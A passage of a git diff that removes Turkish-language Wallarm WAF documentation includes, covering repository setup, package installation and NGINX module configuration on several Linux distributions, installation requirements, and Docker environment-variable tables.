sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINX yönergesi `client_max_body_size` içinde azami istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md b/include-tr/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md deleted file mode 100644 index c3d835cc5c..0000000000 --- a/include-tr/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md +++ /dev/null @@ -1,86 +0,0 @@ -## 1. Debian/CentOS depolarını ekleyin - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 2. Wallarm paketleriyle NGINX'i kurun - -Komut aşağıdaki paketleri yükler: - -* NGINX için `nginx` -* NGINX-Wallarm modülü için `libnginx-mod-http-wallarm` veya `nginx-mod-http-wallarm` -* [postanalytics][install-postanalytics-docs] modülü, Tarantool veritabanı ve ek NGINX-Wallarm paketleri için `wallarm-node` - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` - -## 3. Wallarm modülünü bağlayın - -Sistem kurulumu için yapılandırma dosyalarını kopyalayın: - -=== "Debian" - ```bash - sudo cp /usr/share/doc/libnginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "CentOS" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "RHEL 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` - -## 4. Filtreleme düğümünü Wallarm Cloud'a bağlayın - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md b/include-tr/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md deleted file mode 100644 index 8622ba9680..0000000000 --- a/include-tr/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md +++ /dev/null @@ -1,119 +0,0 @@ -## 1. NGINX Plus ve bağımlılıkları yükleyin - -NGINX Plus ve bağımlılıklarını şu [resmi NGINX talimatlarını](https://www.nginx.com/resources/admin-guide/installing-nginx-plus/) kullanarak yükleyin. - -!!! info "Amazon Linux 2.0.2021x ve altına kurulum" - Amazon Linux 2.0.2021x ve altına NGINX Plus kurmak için CentOS 7 talimatlarını kullanın. - -## 2. Wallarm depolarını ekleyin - -Wallarm düğümü, Wallarm depolarından kurulur ve güncellenir. Depoları eklemek için platformunuza uygun komutları kullanın: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x ve altı" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 3. Wallarm paketlerini yükleyin - -Aşağıdaki paketler gereklidir: - -* NGINX Plus-Wallarm modülü için `nginx-plus-module-wallarm` -* [postanalytics][install-postanalytics-instr] modülü, Tarantool veritabanı ve ek NGINX Plus-Wallarm paketleri için `wallarm-node` - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "CentOS veya Amazon Linux 2.0.2021x ve altı" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` - -## 4. Wallarm modülünü bağlayın - -1. `/etc/nginx/nginx.conf` dosyasını açın: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. `worker_processes` yönergesinin hemen ardından aşağıdaki yönergeyi ekleyin: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - Eklenen yönerge ile yapılandırma örneği: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -3. Sistem kurulumu için yapılandırma dosyalarını kopyalayın: - - ``` bash - sudo cp /usr/share/doc/nginx-plus-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. Filtreleme düğümünü Wallarm Cloud'a bağlayın - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md b/include-tr/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md deleted file mode 100644 index 6a6468bfd1..0000000000 --- a/include-tr/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md +++ /dev/null @@ -1,197 +0,0 @@ -## 1. NGINX stable sürümünü ve bağımlılıklarını yükleyin - -NGINX deposundan NGINX `stable` yüklemek için aşağıdaki seçenekler mevcuttur: - -* Hazır paketten kurulum - - === "Debian" - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release debian-archive-keyring - echo "deb http://nginx.org/packages/debian `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fSsL https://nginx.org/keys/nginx_signing.key | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/nginx.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/nginx.gpg - sudo apt update - sudo apt -y install nginx - ``` - === "Ubuntu" - 1. NGINX stable için gerekli bağımlılıkları yükleyin: - - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release - ``` - 1. NGINX stable kurulumunu yapın: - - ```bash - echo "deb http://nginx.org/packages/ubuntu `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add - - sudo apt update - sudo apt -y install nginx - ``` - === "CentOS veya Amazon Linux 2.0.2021x ve altı" - - 1. CentOS 7.x içinde EPEL deposu eklenmişse, `/etc/yum.repos.d/epel.repo` dosyasına `exclude=nginx*` ekleyerek bu depodan NGINX stable kurulumunu devre dışı bırakın. - - Değiştirilmiş `/etc/yum.repos.d/epel.repo` dosyası örneği: - - ```bash - [epel] - name=Extra Packages for Enterprise Linux 7 - $basearch - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-7&arch=$basearch - failovermethod=priority - enabled=1 - gpgcheck=1 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - exclude=nginx* - - [epel-debuginfo] - name=Extra Packages for Enterprise Linux 7 - $basearch - Debug - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch/debug - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-debug-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - - [epel-source] - name=Extra Packages for Enterprise Linux 7 - $basearch - Source - #baseurl=http://download.fedoraproject.org/pub/epel/7/SRPMS - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-source-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - ``` - - 2. Resmi depodan NGINX stable kurun: - - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - -* [NGINX deposunun](https://hg.nginx.org/pkg-oss/branches) `stable` dalından kaynak kodu derlemek ve aynı seçeneklerle kurmak. - - !!! info "AlmaLinux, Rocky Linux veya Oracle Linux 8.x için NGINX" - Bu, AlmaLinux, Rocky Linux veya Oracle Linux 8.x üzerinde NGINX kurmak için tek seçenektir. - -NGINX kurulumu hakkında daha ayrıntılı bilgi [resmi NGINX dokümantasyonunda](https://www.nginx.com/resources/admin-guide/installing-nginx-open-source/) mevcuttur. - -## 2. Wallarm depolarını ekleyin - -Wallarm düğümü Wallarm depolarından kurulur ve güncellenir. Depoları eklemek için platformunuza uygun komutları kullanın: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x ve altı" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 3. Wallarm paketlerini yükleyin - -Aşağıdaki paketler gereklidir: - -* NGINX-Wallarm modülü için `nginx-module-wallarm` -* [postanalytics][install-postanalytics-docs] modülü, Tarantool veritabanı ve ek NGINX-Wallarm paketleri için `wallarm-node` - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOS veya Amazon Linux 2.0.2021x ve altı" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` - -## 4. Wallarm modülünü bağlayın - -1. `/etc/nginx/nginx.conf` dosyasını açın: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. Dosyaya `include /etc/nginx/conf.d/*;` satırının eklendiğinden emin olun. Böyle bir satır yoksa ekleyin. -3. Aşağıdaki yönergeyi `worker_processes` yönergesinin hemen ardından ekleyin: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - Yönerge eklenmiş yapılandırma örneği: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -4. Sistem kurulumu için yapılandırma dosyalarını kopyalayın: - - ``` bash - sudo cp /usr/share/doc/nginx-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. Filtreleme düğümünü Wallarm Cloud'a bağlayın - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/nginx-distro-use-cases.md b/include-tr/waf/installation/linux-packages/nginx-distro-use-cases.md deleted file mode 100644 index f3fc342708..0000000000 --- a/include-tr/waf/installation/linux-packages/nginx-distro-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][platform] arasında, dağıtım tarafından sağlanan NGINX için DEB/RPM paketleri, Wallarm dağıtımı için şu **kullanım durumlarında** önerilir: - -* Altyapınız, konteyner tabanlı yöntemler kullanılmadan bare metal veya sanal makineler üzerine kuruludur. Genellikle, bu kurulumlar Ansible veya SaltStack gibi Kod olarak Altyapı (IaC) araçlarıyla yönetilir. -* Hizmetleriniz, dağıtım tarafından sağlanan NGINX etrafında inşa edilmiştir. Wallarm, bu paketleri kullanarak işlevlerini genişletebilir. \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/nginx-plus-use-cases.md b/include-tr/waf/installation/linux-packages/nginx-plus-use-cases.md deleted file mode 100644 index b697d5c8f7..0000000000 --- a/include-tr/waf/installation/linux-packages/nginx-plus-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][platform] arasında, NGINX Plus için DEB/RPM paketleri Wallarm dağıtımı için şu **kullanım senaryolarında** önerilir: - -* Altyapınız, konteyner tabanlı yöntemler kullanılmadan bare metal veya sanal makineler üzerine kuruludur. Genellikle bu kurulumlar Ansible veya SaltStack gibi Infrastructure as Code (IaC) araçlarıyla yönetilir. -* Hizmetleriniz NGINX Plus etrafında inşa edilmiştir. Wallarm, bu paketleri kullanarak işlevselliğini genişletebilir. \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/nginx-stable-use-cases.md b/include-tr/waf/installation/linux-packages/nginx-stable-use-cases.md deleted file mode 100644 index 0df148195d..0000000000 --- a/include-tr/waf/installation/linux-packages/nginx-stable-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][platform] arasında, NGINX Stable için DEB/RPM paketleri Wallarm dağıtımı için şu **kullanım senaryolarında** önerilir: - -* Altyapınız, konteyner tabanlı yöntemler kullanılmadan bare metal veya sanal makineler üzerine kuruludur. Genellikle bu kurulumlar, Ansible veya SaltStack gibi Kod Olarak Altyapı (IaC) araçlarıyla yönetilir. -* Hizmetleriniz NGINX Stable etrafında inşa edilmiştir. Wallarm, bu paketleri kullanarak işlevselliğini genişletebilir. \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/requirements-nginx-distro.md b/include-tr/waf/installation/linux-packages/requirements-nginx-distro.md deleted file mode 100644 index 6baef098c3..0000000000 --- a/include-tr/waf/installation/linux-packages/requirements-nginx-distro.md +++ /dev/null @@ -1,9 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim -* SELinux'un devre dışı bırakılmış olması ya da [talimatlara][configure-selinux-instr] göre yapılandırılmış olması -* Tüm komutların süper kullanıcı olarak (örn. `root`) çalıştırılması -* Paketleri indirmek için `https://repo.wallarm.com` adresine erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim. Erişim yalnızca vekil sunucu (proxy) üzerinden yapılandırılabiliyorsa, [talimatları][configure-proxy-balancer-instr] kullanın -* Saldırı tespit kurallarının güncellemelerini indirmek ve [allowlisted, denylisted, or graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* **vim**, **nano** veya başka herhangi bir metin düzenleyicisinin kurulu olması. Bu talimatta **vim** kullanılmaktadır \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/requirements-nginx-plus.md b/include-tr/waf/installation/linux-packages/requirements-nginx-plus.md deleted file mode 100644 index 155730b7b2..0000000000 --- a/include-tr/waf/installation/linux-packages/requirements-nginx-plus.md +++ /dev/null @@ -1,13 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim -* SELinux'un devre dışı bırakılmış olması veya [talimatlar][configure-selinux-instr] doğrultusunda yapılandırılmış olması -* NGINX Plus sürüm 29 veya 30 (R29 veya R30) - - !!! info "Özel NGINX Plus sürümleri" - Farklı bir sürümünüz varsa, [NGINX'in özel derlemesine Wallarm modülünü nasıl bağlayacağınız][nginx-custom] ile ilgili talimatlara bakın -* Tüm komutların süper kullanıcı olarak çalıştırılması (ör. `root`) -* Paketleri indirmek için `https://repo.wallarm.com` erişimi. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` erişimi. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa [talimatları][configure-proxy-balancer-instr] kullanın -* Saldırı tespit kurallarına yönelik güncellemeleri indirmek ve ayrıca [allowlisted, denylisted, veya graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Kurulu bir metin düzenleyici olan **vim**, **nano** veya başka herhangi biri. Bu talimatta **vim** kullanılmaktadır \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/requirements-nginx-stable.md b/include-tr/waf/installation/linux-packages/requirements-nginx-stable.md deleted file mode 100644 index 8823446bc4..0000000000 --- a/include-tr/waf/installation/linux-packages/requirements-nginx-stable.md +++ /dev/null @@ -1,13 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim -* SELinux'un devre dışı bırakılmış olması veya [talimatlara][configure-selinux-instr] göre yapılandırılmış olması -* NGINX sürümü 1.24.0 - - !!! info "Özel NGINX sürümleri" - Farklı bir sürüm kullanıyorsanız, NGINX'in özel derlemesine Wallarm modülünü nasıl bağlayacağınıza dair [talimatlara][nginx-custom] bakın -* Tüm komutların bir süper kullanıcı (örn. `root`) olarak yürütülmesi -* Paketleri indirmek için `https://repo.wallarm.com` adresine erişim. Erişimin güvenlik duvarı tarafından engellenmediğinden emin olun -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, [talimatları][configure-proxy-balancer-instr] kullanın -* Saldırı tespit kurallarının güncellemelerini indirmek ve ayrıca [allowlisted, denylisted veya graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Kurulu metin düzenleyici **vim**, **nano** veya herhangi biri. Bu talimatta **vim** kullanılır \ No newline at end of file diff --git a/include-tr/waf/installation/linux-packages/separate-postanalytics-reqs.md b/include-tr/waf/installation/linux-packages/separate-postanalytics-reqs.md deleted file mode 100644 index d67058ada0..0000000000 --- a/include-tr/waf/installation/linux-packages/separate-postanalytics-reqs.md +++ /dev/null @@ -1,6 +0,0 @@ -* Wallarm Console'da [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için **Administrator** rolüne sahip hesaba erişim -* SELinux'un devre dışı bırakılması veya [talimatlara][configure-selinux-instr] göre yapılandırılması -* Tüm komutların süper kullanıcı (ör. `root`) olarak çalıştırılması -* Paketleri indirmek için `https://repo.wallarm.com` adresine erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com` adresine, EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com` adresine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa [talimatları][configure-proxy-balancer-instr] kullanın -* Kurulu bir metin düzenleyici **vim**, **nano** veya başka herhangi bir düzenleyici. Bu makaledeki komutlarda **vim** kullanılır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-all-env-vars-218.md b/include-tr/waf/installation/nginx-docker-all-env-vars-218.md deleted file mode 100644 index 7d77cd38e1..0000000000 --- a/include-tr/waf/installation/nginx-docker-all-env-vars-218.md +++ /dev/null @@ -1,10 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`DEPLOY_USER` | Wallarm Console içindeki **Deploy** veya **Administrator** kullanıcı hesabının e‑posta adresi.| Evet -`DEPLOY_PASSWORD` | Wallarm Console’daki **Deploy** veya **Administrator** kullanıcı hesabının parolası. | Evet -`NGINX_BACKEND` | Wallarm çözümüyle korunacak kaynağın alan adı veya IP adresi. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • US Cloud için `us1.api.wallarm.com`
              • EU Cloud için `api.wallarm.com`
              Varsayılan: `api.wallarm.com`. | Hayır -`WALLARM_MODE` | Düğüm modu:
              • Kötü amaçlı istekleri engellemek için `block`
              • İstekleri engellemeden analiz etmek için `monitoring`
              • Trafik analizini ve işlemeyi devre dışı bırakmak için `off`
              Varsayılan: `monitoring`. | Hayır -`TARANTOOL_MEMORY_GB` | Tarantool’a ayrılan [Bellek miktarı][allocating-memory-guide]. Değer bir tam sayı veya kayan noktalı (ondalık ayırıcı bir nokta .) olabilir. Varsayılan: 0.2 gigabayt. | Hayır -`WALLARM_ACL_ENABLE` | IP engelleme işlevini [varsayılan ayarlar][default-ip-blocking-settings] ile etkinleştirir. Değişkene şu değerler atanabilir:
              • IP engelleme işlevini etkinleştirmek için `true`
              • IP engelleme işlevini devre dışı bırakmak için `false`
              Varsayılan değer (değişken konteynere aktarılmazsa) `false`’tur.
              IP engelleme işlevini özel ayarlarla etkinleştirmek için uygun NGINX [yönergelerini][wallarm-acl-directive] tanımlamanız ve tanımlı yönergeleri içeren yapılandırma dosyasını [bağlayarak][mount-config-instr] konteyneri çalıştırmanız gerekir.

              Değerler `on` / `enabled` / `ok` / `yes`

              Filtreleme düğümü imajının 2.16.0-8 sürümünden itibaren, bu değişkene atanan `on` / `enabled` / `ok` / `yes` değerleri IP engelleme işlevini devre dışı bırakır. Bu belgede açıklandığı şekilde en güncel imaj sürümünü dağıtmanızı ve bu değişkende `true` veya `false` değeri geçirmenizi öneririz.

              | Hayır -`DEPLOY_FORCE` | Çalıştırmakta olduğunuz konteynerin tanımlayıcısıyla mevcut bir Wallarm düğümü adı eşleşiyorsa, mevcut Wallarm düğümünü yenisiyle değiştirir. Değişkene şu değerler atanabilir:
              • Filtreleme düğümünü değiştirmek için `true`
              • Filtreleme düğümünün değiştirilmesini devre dışı bırakmak için `false`
              Varsayılan değer (değişken konteynere aktarılmazsa) `false`’tur.
              Wallarm düğümü adı, her zaman çalıştırdığınız konteynerin tanımlayıcısıyla eşleşir. Ortamınızda Docker konteyner tanımlayıcıları statik olduğunda ve filtreleme düğümüyle başka bir Docker konteyneri (örneğin imajın yeni sürümüne sahip bir konteyner) çalıştırmaya çalıştığınızda, filtreleme düğümünü değiştirmek faydalıdır. Bu durumda değişken değeri `false` ise, filtreleme düğümünün oluşturulma süreci başarısız olur. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-all-env-vars-3.4.md b/include-tr/waf/installation/nginx-docker-all-env-vars-3.4.md deleted file mode 100644 index ec5c20864e..0000000000 --- a/include-tr/waf/installation/nginx-docker-all-env-vars-3.4.md +++ /dev/null @@ -1,10 +0,0 @@ -Ortam değişkeni | Açıklama| Zorunlu ---- | ---- | ---- -`DEPLOY_USER` | Wallarm Console içindeki Deploy veya Administrator kullanıcı hesabının e-posta adresi.| Evet -`DEPLOY_PASSWORD` | Wallarm Console içindeki Deploy veya Administrator kullanıcı hesabının parolası. | Evet -`NGINX_BACKEND` | Wallarm çözümü ile korunacak kaynağın etki alanı veya IP adresi. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • `us1.api.wallarm.com` US Cloud için
              • `api.wallarm.com` EU Cloud için
